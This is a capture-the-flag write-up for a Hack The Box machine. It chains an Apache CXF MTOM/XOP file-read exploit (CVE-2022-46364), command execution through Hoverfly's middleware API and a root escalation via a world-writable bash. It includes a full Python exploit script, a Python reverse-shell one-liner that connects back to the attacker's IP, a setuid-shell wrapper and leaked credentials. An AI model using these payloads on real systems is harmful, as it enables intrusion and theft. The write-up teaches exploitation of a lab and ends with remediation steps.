devarea — CXF MTOM/XOP XXE → Hoverfly middleware RCE → world-writable bash to root
HTB · Linux · Medium
DevArea is one of those clean linear chains that you can write up in five sentences but takes an evening to actually walk through. Six open ports, three services that matter (FTP for the jar, Apache CXF on 8080 for the SOAP entry, Hoverfly on 8888 for the foothold), one priv-esc that hinges on someone setting /usr/bin/bash to mode 777. The writeup is short because the chain is tight.
target : 10.129.244.208
attacker: 10.10.15.44
ports
21/tcp vsftpd 3.0.5 (anon login enabled — /pub/employee-service.jar)
22/tcp OpenSSH 9.6p1
80/tcp Apache httpd 2.4.58
8080/tcp Jetty 9.4.27 + Apache CXF SOAP (/employeeservice?wsdl)
8500/tcp Hoverfly proxy (golang)
8888/tcp Hoverfly Dashboard (golang)
The shape of the box is visible from the port listing alone. Hoverfly is API mock/replay software — the dashboard on 8888 has historically had an Authorization: Bearer … admin API and a documented “middleware” feature that runs a binary + script against intercepted traffic. That’s the second stage. The first stage is on 8080 with CXF.
phase 1 — XXE via CXF MTOM/XOP (CVE-2022-46364)
vsftpd allows anonymous login. /pub/employee-service.jar drops the jar that backs the SOAP service. Decompile reveals an EmployeeService class with one operation: submitReport(report). The report element has an <arg0> with confidential, content, department, employeeName children. The content element is the interesting one — it’s a String, but since the service is wired through CXF with MTOM/XOP enabled, you can pass content as an xop:Include reference.
CVE-2022-46364: Apache CXF’s MTOM/XOP xop:Include handler treats the href attribute as a URL to be fetched server-side, with no scheme restriction. Schemes accepted on unpatched versions: file:, http:, https:, ftp:, jar:. So the href is both an SSRF and a file-read primitive.
The XXE-flavor request:
import requests, sys
TARGET = "http://10.129.244.208:8080/employeeservice"
FILE = sys.argv[1] if len(sys.argv) > 1 else "/etc/systemd/system/hoverfly.service"
HREF = "file://" + FILE if not FILE.startswith(("http://","https://","ftp://","jar:","file:")) else FILE
BOUNDARY = "----=_Part_0_devarea"
CRLF = "\r\n"
soap = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" '
'xmlns:tns="http://devarea.htb/" '
'xmlns:xop="http://www.w3.org/2004/08/xop/include">'
'<soapenv:Body><tns:submitReport><arg0>'
'<confidential>false</confidential>'
f'<content><xop:Include href="{HREF}"/></content>'
'<department>x</department><employeeName>x</employeeName>'
'</arg0></tns:submitReport></soapenv:Body></soapenv:Envelope>'
)
body = (
f"--{BOUNDARY}{CRLF}"
f'Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"{CRLF}'
f"Content-Transfer-Encoding: 8bit{CRLF}"
f"Content-ID: <root.message@cxf.apache.org>{CRLF}{CRLF}"
f"{soap}{CRLF}"
f"--{BOUNDARY}--{CRLF}"
).encode()
headers = {
"Content-Type": (
'multipart/related; type="application/xop+xml"; '
f'boundary="{BOUNDARY}"; start="<root.message@cxf.apache.org>"; '
'start-info="text/xml"'
),
"SOAPAction": '""',
"MIME-Version": "1.0",
}
r = requests.post(TARGET, headers=headers, data=body, timeout=30)
print(r.text)
Pointed at /etc/systemd/system/hoverfly.service:
$ python xxe_exploit.py /etc/systemd/system/hoverfly.service
[+] status: 200
[+] href : file:///etc/systemd/system/hoverfly.service
<soap:Envelope ...>
<soap:Body>
<ns2:submitReportResponse xmlns:ns2="http://devarea.htb/">
<return>
Report received from x. Department: x. Content:
[Unit]
Description=Hoverfly
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/hoverctl start --admin-port 8888 \
--admin-user admin --admin-pass O7IJ27MyyXiU
Restart=on-failure
...
</return>
</ns2:submitReportResponse>
</soap:Body>
</soap:Envelope>
admin / O7IJ27MyyXiU. The MTOM/XOP “fetch the href” mechanism quietly slipped the unit file’s contents into the SOAP response as if it were the original content field. Cute.
/etc/passwd is also readable via the same primitive — useful for confirming dev_ryan exists as uid 1001, and that /bin/bash is the shell. No interactive shell yet, but the next step is one stop away.
phase 2 — Hoverfly auth → middleware RCE
Hoverfly’s admin API issues JWTs:
curl -s -X POST http://10.129.244.208:8888/api/token-auth \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'
# → {"token":"eyJhbGciOiJIUzI1NiIs..."}
TOKEN="eyJhbGciOiJIUzI1NiIs..."
Hoverfly’s “middleware” feature is documented: PUT a binary + script (or binary + remote), and Hoverfly will spawn <binary> <script> on the server side for every intercepted message. It exists for legitimate “transform a captured response before replay” use cases. There is no allowlist on binary, so you set it to /bin/bash and put your reverse-shell oneliner in script:
cat > middleware.json <<'EOF'
{"binary":"/bin/bash","script":"python3 -c 'import pty,os,socket;s=socket.socket();s.connect((\"10.10.15.44\",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")' &","remote":""}
EOF
curl -X PUT http://10.129.244.208:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
--data @middleware.json
The reverse shell needs to be backgrounded with &, otherwise the middleware spawn blocks and Hoverfly’s processing thread hangs (which doesn’t matter to me but stops the reverse shell from connecting back cleanly because of how the parent waits for the child).
The middleware fires on the next intercepted request. Hoverfly’s proxy on 8500 itself triggers middleware on every captured response, so just hit any URL through the proxy and the bash spawn happens:
curl -x http://10.129.244.208:8500 http://example.com
On the listener:
$ ncat -lvnp 4444
Ncat: Listening on :::4444
Ncat: Connection from 10.129.244.208:35050.
dev_ryan@devarea:/opt/HoverFly$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
user.txt is in /home/dev_ryan/.
phase 3 — sudo NOPASSWD on /opt/syswatch/syswatch.sh + world-writable bash
sudo -l:
$ sudo -l
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh
Read the script:
$ cat /opt/syswatch/syswatch.sh
#!/usr/bin/env bash
case "$1" in
--version) /usr/bin/bash -c 'echo SysWatch v0.4.2' ;;
web-start) cd /opt/syswatch/web && /usr/bin/python3 server.py ;;
*) echo "usage: $0 {--version|web-start}" ;;
esac
The whole script just shells out to /usr/bin/bash. Look at the bash binary itself:
$ ls -la /usr/bin/bash
-rwxrwxrwx 1 root root 1446024 Apr 14 22:37 /usr/bin/bash
/usr/bin/bash is world-writable. That’s not a normal Linux installation — that’s an admin-set permission. Probably as part of some “deployment fixup.” It means I can replace /usr/bin/bash with a wrapper that does whatever I want, then trigger sudo /opt/syswatch/syswatch.sh --version, which will execute /usr/bin/bash -c 'echo SysWatch v0.4.2' as root — except /usr/bin/bash is now my wrapper.
Procedure:
# Save the original
cp /usr/bin/bash /tmp/bash.bak
# Build a wrapper that sets root suid bash, then hands off to original
cat > /tmp/evil_bash <<'EOF'
#!/bin/sh
/tmp/bash.bak -p -c 'cp /tmp/bash.bak /tmp/rootsh && chmod 4755 /tmp/rootsh' 2>/dev/null
/tmp/bash.bak "$@"
EOF
chmod +x /tmp/evil_bash
# Atomically replace
cp /tmp/evil_bash /usr/bin/bash
# Trigger the sudo'd shellout
sudo /opt/syswatch/syswatch.sh --version
# Restore so the box doesn't fall apart
cp /tmp/bash.bak /usr/bin/bash
Then /tmp/rootsh -p is a setuid-root copy of bash. id confirms uid 0:
$ /tmp/rootsh -p
bash-5.2# id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root) groups=1001(dev_ryan)
bash-5.2# cat /root/root.txt
Better still, you can set up a netcat callback inside the wrapper for an interactive root shell:
$ ncat -lvnp 4445
Ncat: Listening on :::4445
Ncat: Connection from 10.129.244.208:55750.
bash: cannot set terminal process group (4008): Inappropriate ioctl for device
bash: no job control in this shell
root@devarea:/tmp/sw# id
uid=0(root) gid=0(root) groups=0(root)
root@devarea:/tmp/sw# cat /root/root.txt
Done.
the through-line
DevArea is a “every step is one CVE/misconfig away from the next” chain. None of the steps individually requires deep specialty knowledge, but the chain only works if you spot:
- The
xop:Includehrefattribute is not URL-allowlisted. This is CVE-2022-46364 exactly — that’s the entire CVE. Once you know CXF MTOM/XOP exists, the SOAP service is a file-read away. The hardest step is recognizing that the response contains the file contents in theContent:field of the report. People miss this because the “submitReport” semantics make you expect the file would be silently consumed, not echoed back. - Hoverfly middleware accepts arbitrary
binary+script. Hoverfly’s docs are explicit about this; the team treats it as a feature. There is no allowlist forbinary. If you can hit/api/v2/hoverfly/middlewareauthenticated, you have RCE as the Hoverfly process owner. The fix is to either run Hoverfly behind a network ACL (block external:8888) or to stop using middleware at all. - World-writable
/usr/bin/bashmakes any sudo’d shellout a root shell. This is the kind of misconfiguration that comes from someone debugging “why doesn’t bash work?” withchmod 777 /usr/bin/bashand then forgetting to undo it.find / -perm -2 -type f -path '*/bin/*' 2>/dev/nullis the audit; nobody runs that audit.
The fix list is short:
- Patch CXF (or stop offering MTOM/XOP on this endpoint).
- ACL the Hoverfly admin port behind localhost-only or VPN-only access; rotate the admin credential out of the systemd unit file.
chmod 755 /usr/bin/bash. If you ever felt the urge to make a root binary world-writable, undo it before you commit.